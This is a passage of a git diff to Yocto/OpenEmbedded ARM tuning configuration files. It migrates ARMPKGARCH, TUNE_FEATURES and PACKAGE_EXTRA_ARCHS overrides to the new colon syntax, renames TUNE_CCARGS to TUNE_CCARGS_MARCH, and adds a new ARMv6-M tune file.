-PACKAGE_EXTRA_ARCHS_tune-armv5hf-vfp = "armv5hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5thf-vfp = "armv5hf-vfp armv5thf-vfp"
+ARMPKGARCH:tune-armv5-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5t-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5hf-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5thf-vfp ?= "armv5"
+TUNE_FEATURES:tune-armv5-vfp = "${TUNE_FEATURES:tune-armv5} vfp"
+TUNE_FEATURES:tune-armv5t-vfp = "${TUNE_FEATURES:tune-armv5t} vfp"
+TUNE_FEATURES:tune-armv5hf-vfp = "${TUNE_FEATURES:tune-armv5-vfp} callconvention-hard"
+TUNE_FEATURES:tune-armv5thf-vfp = "${TUNE_FEATURES:tune-armv5t-vfp} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-armv5-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5} armv5-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5t-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5t} armv5-vfp armv5t-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5hf-vfp = "armv5hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5thf-vfp = "armv5hf-vfp armv5thf-vfp"
# Big Endian
AVAILTUNES += "armv5b armv5tb"
-ARMPKGARCH_tune-armv5b ?= "armv5"
-ARMPKGARCH_tune-armv5tb ?= "armv5"
-TUNE_FEATURES_tune-armv5b = "${TUNE_FEATURES_tune-armv5} bigendian"
-TUNE_FEATURES_tune-armv5tb = "${TUNE_FEATURES_tune-armv5t} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv5b = "${PACKAGE_EXTRA_ARCHS_tune-armv4b} armv5b"
-PACKAGE_EXTRA_ARCHS_tune-armv5tb = "${PACKAGE_EXTRA_ARCHS_tune-armv4tb} armv5b armv5tb"
+ARMPKGARCH:tune-armv5b ?= "armv5"
+ARMPKGARCH:tune-armv5tb ?= "armv5"
+TUNE_FEATURES:tune-armv5b = "${TUNE_FEATURES:tune-armv5} bigendian"
+TUNE_FEATURES:tune-armv5tb = "${TUNE_FEATURES:tune-armv5t} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv5b = "${PACKAGE_EXTRA_ARCHS:tune-armv4b} armv5b"
+PACKAGE_EXTRA_ARCHS:tune-armv5tb = "${PACKAGE_EXTRA_ARCHS:tune-armv4tb} armv5b armv5tb"
# Big Endian + VFP/DSP
AVAILTUNES += "armv5b-vfp armv5tb-vfp armv5hfb-vfp armv5thfb-vfp"
-ARMPKGARCH_tune-armv5b-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5tb-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5hfb-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5thfb-vfp ?= "armv5"
-TUNE_FEATURES_tune-armv5b-vfp = "${TUNE_FEATURES_tune-armv5-vfp} bigendian"
-TUNE_FEATURES_tune-armv5tb-vfp = "${TUNE_FEATURES_tune-armv5t-vfp} bigendian"
-TUNE_FEATURES_tune-armv5hfb-vfp = "${TUNE_FEATURES_tune-armv5hf-vfp} bigendian"
-TUNE_FEATURES_tune-armv5thfb-vfp = "${TUNE_FEATURES_tune-armv5thf-vfp} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv5b-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5b} armv5b-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5tb-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5tb} armv5b-vfp armv5tb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5hfb-vfp = "armv5hfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5thfb-vfp = "armv5hfb-vfp armv5thfb-vfp"
+ARMPKGARCH:tune-armv5b-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5tb-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5hfb-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5thfb-vfp ?= "armv5"
+TUNE_FEATURES:tune-armv5b-vfp = "${TUNE_FEATURES:tune-armv5-vfp} bigendian"
+TUNE_FEATURES:tune-armv5tb-vfp = "${TUNE_FEATURES:tune-armv5t-vfp} bigendian"
+TUNE_FEATURES:tune-armv5hfb-vfp = "${TUNE_FEATURES:tune-armv5hf-vfp} bigendian"
+TUNE_FEATURES:tune-armv5thfb-vfp = "${TUNE_FEATURES:tune-armv5thf-vfp} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv5b-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5b} armv5b-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5tb-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5tb} armv5b-vfp armv5tb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5hfb-vfp = "armv5hfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5thfb-vfp = "armv5hfb-vfp armv5thfb-vfp"
diff --git a/meta/conf/machine/include/arm/arch-armv6.inc b/meta/conf/machine/include/arm/arch-armv6.inc
index 6c838e999c..ef8d288ea7 100644
--- a/meta/conf/machine/include/arm/arch-armv6.inc
+++ b/meta/conf/machine/include/arm/arch-armv6.inc
@@ -2,49 +2,49 @@ DEFAULTTUNE ?= "armv6hf"
TUNEVALID[armv6] = "Enable instructions for ARMv6"
TUNECONFLICTS[armv6] = "armv4 armv5"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv6', ' -march=armv6', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv6', 'armv6:', '' ,d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv6', ' -march=armv6', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv6', 'armv6:', '', d)}"
require conf/machine/include/arm/arch-armv5-dsp.inc
# Little Endian
AVAILTUNES += "armv6-novfp armv6t-novfp armv6 armv6t armv6hf armv6thf"
-ARMPKGARCH_tune-armv6-novfp ?= "armv6"
-ARMPKGARCH_tune-armv6t-novfp ?= "armv6"
-ARMPKGARCH_tune-armv6 ?= "armv6"
-ARMPKGARCH_tune-armv6t ?= "armv6"
-ARMPKGARCH_tune-armv6hf ?= "armv6"
-ARMPKGARCH_tune-armv6thf ?= "armv6"
-TUNE_FEATURES_tune-armv6-novfp = "arm armv6"
-TUNE_FEATURES_tune-armv6t-novfp = "${TUNE_FEATURES_tune-armv6-novfp} thumb"
-TUNE_FEATURES_tune-armv6 = "${TUNE_FEATURES_tune-armv6-novfp} vfp"
-TUNE_FEATURES_tune-armv6t = "${TUNE_FEATURES_tune-armv6t-novfp} vfp"
-TUNE_FEATURES_tune-armv6hf = "${TUNE_FEATURES_tune-armv6} callconvention-hard"
-TUNE_FEATURES_tune-armv6thf = "${TUNE_FEATURES_tune-armv6t} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-armv6-novfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5e} armv6"
-PACKAGE_EXTRA_ARCHS_tune-armv6t-novfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5te} armv6 armv6t"
-PACKAGE_EXTRA_ARCHS_tune-armv6 = "${PACKAGE_EXTRA_ARCHS_tune-armv5e-vfp} armv6 armv6-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6t = "${PACKAGE_EXTRA_ARCHS_tune-armv5te-vfp} armv6 armv6t armv6-vfp armv6t-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6hf = "${PACKAGE_EXTRA_ARCHS_tune-armv5ehf-vfp} armv6hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6thf = "${PACKAGE_EXTRA_ARCHS_tune-armv5tehf-vfp} armv6hf-vfp armv6thf-vfp"
+ARMPKGARCH:tune-armv6-novfp ?= "armv6"
+ARMPKGARCH:tune-armv6t-novfp ?= "armv6"
+ARMPKGARCH:tune-armv6 ?= "armv6"
+ARMPKGARCH:tune-armv6t ?= "armv6"
+ARMPKGARCH:tune-armv6hf ?= "armv6"
+ARMPKGARCH:tune-armv6thf ?= "armv6"
+TUNE_FEATURES:tune-armv6-novfp = "arm armv6"
+TUNE_FEATURES:tune-armv6t-novfp = "${TUNE_FEATURES:tune-armv6-novfp} thumb"
+TUNE_FEATURES:tune-armv6 = "${TUNE_FEATURES:tune-armv6-novfp} vfp"
+TUNE_FEATURES:tune-armv6t = "${TUNE_FEATURES:tune-armv6t-novfp} vfp"
+TUNE_FEATURES:tune-armv6hf = "${TUNE_FEATURES:tune-armv6} callconvention-hard"
+TUNE_FEATURES:tune-armv6thf = "${TUNE_FEATURES:tune-armv6t} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-armv6-novfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5e} armv6"
+PACKAGE_EXTRA_ARCHS:tune-armv6t-novfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5te} armv6 armv6t"
+PACKAGE_EXTRA_ARCHS:tune-armv6 = "${PACKAGE_EXTRA_ARCHS:tune-armv5e-vfp} armv6 armv6-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6t = "${PACKAGE_EXTRA_ARCHS:tune-armv5te-vfp} armv6 armv6t armv6-vfp armv6t-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6hf = "${PACKAGE_EXTRA_ARCHS:tune-armv5ehf-vfp} armv6hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6thf = "${PACKAGE_EXTRA_ARCHS:tune-armv5tehf-vfp} armv6hf-vfp armv6thf-vfp"
# Big Endian
AVAILTUNES += "armv6b-novfp armv6tb-novfp armv6b armv6tb armv6hfb armv6thfb"
-ARMPKGARCH_tune-armv6b-novfp ?= "armv6"
-ARMPKGARCH_tune-armv6tb-novfp ?= "armv6"
-ARMPKGARCH_tune-armv6b ?= "armv6"
-ARMPKGARCH_tune-armv6tb ?= "armv6"
-ARMPKGARCH_tune-armv6hfb ?= "armv6"
-ARMPKGARCH_tune-armv6thfb ?= "armv6"
-TUNE_FEATURES_tune-armv6b-novfp = "${TUNE_FEATURES_tune-armv6-novfp} bigendian"
-TUNE_FEATURES_tune-armv6tb-novfp = "${TUNE_FEATURES_tune-armv6t-novfp} bigendian"
-TUNE_FEATURES_tune-armv6b = "${TUNE_FEATURES_tune-armv6} bigendian"
-TUNE_FEATURES_tune-armv6tb = "${TUNE_FEATURES_tune-armv6t} bigendian"
-TUNE_FEATURES_tune-armv6hfb = "${TUNE_FEATURES_tune-armv6hf} bigendian"
-TUNE_FEATURES_tune-armv6thfb = "${TUNE_FEATURES_tune-armv6thf} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv6b-novfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5eb} armv6b"
-PACKAGE_EXTRA_ARCHS_tune-armv6tb-novfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5teb} armv6b armv6tb"
-PACKAGE_EXTRA_ARCHS_tune-armv6b = "${PACKAGE_EXTRA_ARCHS_tune-armv5eb-vfp} armv6b armv6b-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6tb = "${PACKAGE_EXTRA_ARCHS_tune-armv5teb-vfp} armv6b armv6tb armv6b-vfp armv6tb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6hfb = "${PACKAGE_EXTRA_ARCHS_tune-armv5ehfb-vfp} armv6hfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6thfb = "${PACKAGE_EXTRA_ARCHS_tune-armv5tehfb-vfp} armv6hfb-vfp armv6thfb-vfp"
+ARMPKGARCH:tune-armv6b-novfp ?= "armv6"
+ARMPKGARCH:tune-armv6tb-novfp ?= "armv6"
+ARMPKGARCH:tune-armv6b ?= "armv6"
+ARMPKGARCH:tune-armv6tb ?= "armv6"
+ARMPKGARCH:tune-armv6hfb ?= "armv6"
+ARMPKGARCH:tune-armv6thfb ?= "armv6"
+TUNE_FEATURES:tune-armv6b-novfp = "${TUNE_FEATURES:tune-armv6-novfp} bigendian"
+TUNE_FEATURES:tune-armv6tb-novfp = "${TUNE_FEATURES:tune-armv6t-novfp} bigendian"
+TUNE_FEATURES:tune-armv6b = "${TUNE_FEATURES:tune-armv6} bigendian"
+TUNE_FEATURES:tune-armv6tb = "${TUNE_FEATURES:tune-armv6t} bigendian"
+TUNE_FEATURES:tune-armv6hfb = "${TUNE_FEATURES:tune-armv6hf} bigendian"
+TUNE_FEATURES:tune-armv6thfb = "${TUNE_FEATURES:tune-armv6thf} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv6b-novfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5eb} armv6b"
+PACKAGE_EXTRA_ARCHS:tune-armv6tb-novfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5teb} armv6b armv6tb"
+PACKAGE_EXTRA_ARCHS:tune-armv6b = "${PACKAGE_EXTRA_ARCHS:tune-armv5eb-vfp} armv6b armv6b-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6tb = "${PACKAGE_EXTRA_ARCHS:tune-armv5teb-vfp} armv6b armv6tb armv6b-vfp armv6tb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6hfb = "${PACKAGE_EXTRA_ARCHS:tune-armv5ehfb-vfp} armv6hfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6thfb = "${PACKAGE_EXTRA_ARCHS:tune-armv5tehfb-vfp} armv6hfb-vfp armv6thfb-vfp"
diff --git a/meta/conf/machine/include/arm/arch-armv6m.inc b/meta/conf/machine/include/arm/arch-armv6m.inc
new file mode 100644
index 0000000000..d6d6c7ed2d
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv6m.inc
@@ -0,0 +1,19 @@
+# Tuning for ARMV6-m defined in ARM v6-M ArchitectureReference Manual
+# at https://static.docs.arm.com/ddi0419/d/DDI0419D_armv6m_arm.pdf
+DEFAULTTUNE ?= "armv6m"
+
+TUNEVALID[armv6m] = "Enable instructions for ARMv6-m"
+TUNECONFLICTS[armv6m] = "armv4 armv5 armv6 armv7a"
+
+# Use armv6s-m instead of armv6-m to avoid gcc bug "SVC is not permitted on this architecture".
+# SVC is a valid instruction.
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv6m', ' -march=armv6s-m', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv6m', 'armv6m:', '', d)}"
+
+require conf/machine/include/arm/arch-armv5.inc
+
+# Little Endian
+AVAILTUNES += "armv6m"
+ARMPKGARCH:tune-armv6m = "armv6m"
+TUNE_FEATURES:tune-armv6m = "armv6m"
+PACKAGE_EXTRA_ARCHS:tune-armv6m = "armv6m"
diff --git a/meta/conf/machine/include/arm/arch-armv7a.inc b/meta/conf/machine/include/arm/arch-armv7a.inc
index 199e63f98a..74fc8d11ab 100644
--- a/meta/conf/machine/include/arm/arch-armv7a.inc
+++ b/meta/conf/machine/include/arm/arch-armv7a.inc
@@ -3,164 +3,165 @@ ARM_INSTRUCTION_SET ?= "thumb"
TUNEVALID[armv7a] = "Enable instructions for ARMv7-a"
TUNECONFLICTS[armv7a] = "armv4 armv5 armv6 armv7"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7a', ' -march=armv7-a', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7a', 'armv7a:', '' ,d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7a', ' -march=armv7-a', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7a', 'armv7a:', '', d)}"
require conf/machine/include/arm/arch-armv6.inc
require conf/machine/include/arm/feature-arm-neon.inc
+require conf/machine/include/arm/feature-arm-simd.inc
# Little Endian base configs
AVAILTUNES += "armv7a armv7at armv7a-vfpv3d16 armv7at-vfpv3d16 armv7a-vfpv3 armv7at-vfpv3 armv7a-vfpv4d16 armv7at-vfpv4d16 armv7a-neon armv7at-neon armv7a-neon-vfpv4 armv7at-neon-vfpv4"
-ARMPKGARCH_tune-armv7a ?= "armv7a"
-ARMPKGARCH_tune-armv7at ?= "armv7a"
-ARMPKGARCH_tune-armv7a-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7at-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7a-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7at-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7a-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7at-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7a-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7at-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7a-neon-vfpv4 ?= "armv7a"
-ARMPKGARCH_tune-armv7at-neon-vfpv4 ?= "armv7a"
-TUNE_FEATURES_tune-armv7a = "arm armv7a vfp"
-TUNE_FEATURES_tune-armv7at = "${TUNE_FEATURES_tune-armv7a} thumb"
-TUNE_FEATURES_tune-armv7a-vfpv3d16 = "${TUNE_FEATURES_tune-armv7a} vfpv3d16"
-TUNE_FEATURES_tune-armv7at-vfpv3d16 = "${TUNE_FEATURES_tune-armv7at} vfpv3d16"
-TUNE_FEATURES_tune-armv7a-vfpv3 = "${TUNE_FEATURES_tune-armv7a-vfpv3d16} vfpv3"
-TUNE_FEATURES_tune-armv7at-vfpv3 = "${TUNE_FEATURES_tune-armv7at-vfpv3d16} vfpv3"
-TUNE_FEATURES_tune-armv7a-vfpv4d16 = "${TUNE_FEATURES_tune-armv7a} vfpv4d16"
-TUNE_FEATURES_tune-armv7at-vfpv4d16 = "${TUNE_FEATURES_tune-armv7at} vfpv4d16"
-TUNE_FEATURES_tune-armv7a-neon = "${TUNE_FEATURES_tune-armv7a} neon"
-TUNE_FEATURES_tune-armv7at-neon = "${TUNE_FEATURES_tune-armv7at} neon"
-TUNE_FEATURES_tune-armv7a-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7a-neon} vfpv4"
-TUNE_FEATURES_tune-armv7at-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7at-neon} vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7a = "${PACKAGE_EXTRA_ARCHS_tune-armv6} armv7a armv7a-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7at = "${PACKAGE_EXTRA_ARCHS_tune-armv6t} armv7a armv7a-vfp armv7at2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7a-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} armv7a-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7at-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} armv7a-vfpv3d16 armv7at2-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7a-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-vfpv3d16} armv7a-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7at-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-vfpv3d16} armv7a-vfpv3 armv7at2-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7a-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} armv7a-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7at-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} armv7a-vfpv4d16 armv7at2-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7a-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} armv7a-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7at-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} armv7a-neon armv7at2-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7a-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-neon} armv7a-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7at-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-neon} armv7a-neon-vfpv4 armv7at2-neon-vfpv4"
+ARMPKGARCH:tune-armv7a ?= "armv7a"
+ARMPKGARCH:tune-armv7at ?= "armv7a"
+ARMPKGARCH:tune-armv7a-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7at-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7a-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7at-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7a-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7at-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7a-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7at-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7a-neon-vfpv4 ?= "armv7a"
+ARMPKGARCH:tune-armv7at-neon-vfpv4 ?= "armv7a"
+TUNE_FEATURES:tune-armv7a = "arm armv7a vfp"
+TUNE_FEATURES:tune-armv7at = "${TUNE_FEATURES:tune-armv7a} thumb"
+TUNE_FEATURES:tune-armv7a-vfpv3d16 = "${TUNE_FEATURES:tune-armv7a} vfpv3d16"
+TUNE_FEATURES:tune-armv7at-vfpv3d16 = "${TUNE_FEATURES:tune-armv7at} vfpv3d16"
+TUNE_FEATURES:tune-armv7a-vfpv3 = "${TUNE_FEATURES:tune-armv7a-vfpv3d16} vfpv3"
+TUNE_FEATURES:tune-armv7at-vfpv3 = "${TUNE_FEATURES:tune-armv7at-vfpv3d16} vfpv3"
+TUNE_FEATURES:tune-armv7a-vfpv4d16 = "${TUNE_FEATURES:tune-armv7a} vfpv4d16"
+TUNE_FEATURES:tune-armv7at-vfpv4d16 = "${TUNE_FEATURES:tune-armv7at} vfpv4d16"
+TUNE_FEATURES:tune-armv7a-neon = "${TUNE_FEATURES:tune-armv7a} neon"
+TUNE_FEATURES:tune-armv7at-neon = "${TUNE_FEATURES:tune-armv7at} neon"
+TUNE_FEATURES:tune-armv7a-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7a-neon} vfpv4"
+TUNE_FEATURES:tune-armv7at-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7at-neon} vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7a = "${PACKAGE_EXTRA_ARCHS:tune-armv6} armv7a armv7a-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7at = "${PACKAGE_EXTRA_ARCHS:tune-armv6t} armv7a armv7a-vfp armv7at2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7a-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} armv7a-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7at-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} armv7a-vfpv3d16 armv7at2-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7a-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-vfpv3d16} armv7a-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7at-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-vfpv3d16} armv7a-vfpv3 armv7at2-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7a-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} armv7a-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7at-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} armv7a-vfpv4d16 armv7at2-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7a-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} armv7a-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7at-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} armv7a-neon armv7at2-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7a-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-neon} armv7a-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7at-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-neon} armv7a-neon-vfpv4 armv7at2-neon-vfpv4"
# HF Tunes
AVAILTUNES += "armv7ahf armv7athf armv7ahf-vfpv3d16 armv7athf-vfpv3d16 armv7ahf-vfpv3 armv7athf-vfpv3 armv7ahf-vfpv4d16 armv7athf-vfpv4d16 armv7ahf-neon armv7athf-neon armv7ahf-neon-vfpv4 armv7athf-neon-vfpv4"
-ARMPKGARCH_tune-armv7ahf ?= "armv7a"
-ARMPKGARCH_tune-armv7athf ?= "armv7a"
-ARMPKGARCH_tune-armv7ahf-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7athf-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahf-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7athf-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahf-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7athf-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahf-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7athf-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7ahf-neon-vfpv4 ?= "armv7a"
-ARMPKGARCH_tune-armv7athf-neon-vfpv4 ?= "armv7a"
-TUNE_FEATURES_tune-armv7ahf = "${TUNE_FEATURES_tune-armv7a} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf = "${TUNE_FEATURES_tune-armv7at} callconvention-hard"
-TUNE_FEATURES_tune-armv7ahf-vfpv3d16 = "${TUNE_FEATURES_tune-armv7a-vfpv3d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf-vfpv3d16 = "${TUNE_FEATURES_tune-armv7at-vfpv3d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7ahf-vfpv3 = "${TUNE_FEATURES_tune-armv7a-vfpv3} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf-vfpv3 = "${TUNE_FEATURES_tune-armv7at-vfpv3} callconvention-hard"
-TUNE_FEATURES_tune-armv7ahf-vfpv4d16 = "${TUNE_FEATURES_tune-armv7a-vfpv4d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf-vfpv4d16 = "${TUNE_FEATURES_tune-armv7at-vfpv4d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7ahf-neon = "${TUNE_FEATURES_tune-armv7a-neon} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf-neon = "${TUNE_FEATURES_tune-armv7at-neon} callconvention-hard"
-TUNE_FEATURES_tune-armv7ahf-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7a-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7at-neon-vfpv4} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf = "${PACKAGE_EXTRA_ARCHS_tune-armv6hf} armv7ahf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf = "${PACKAGE_EXTRA_ARCHS_tune-armv6thf} armv7ahf-vfp armv7at2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} armv7ahf-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} armv7ahf-vfpv3d16 armv7at2hf-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-vfpv3d16} armv7ahf-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-vfpv3d16} armv7ahf-vfpv3 armv7at2hf-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} armv7ahf-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} armv7ahf-vfpv4d16 armv7at2hf-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} armv7ahf-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} armv7ahf-neon armv7at2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon} armv7ahf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon} armv7ahf-neon-vfpv4 armv7at2hf-neon-vfpv4"
+ARMPKGARCH:tune-armv7ahf ?= "armv7a"
+ARMPKGARCH:tune-armv7athf ?= "armv7a"
+ARMPKGARCH:tune-armv7ahf-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7athf-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahf-vfpv3 ?= "armv7a"
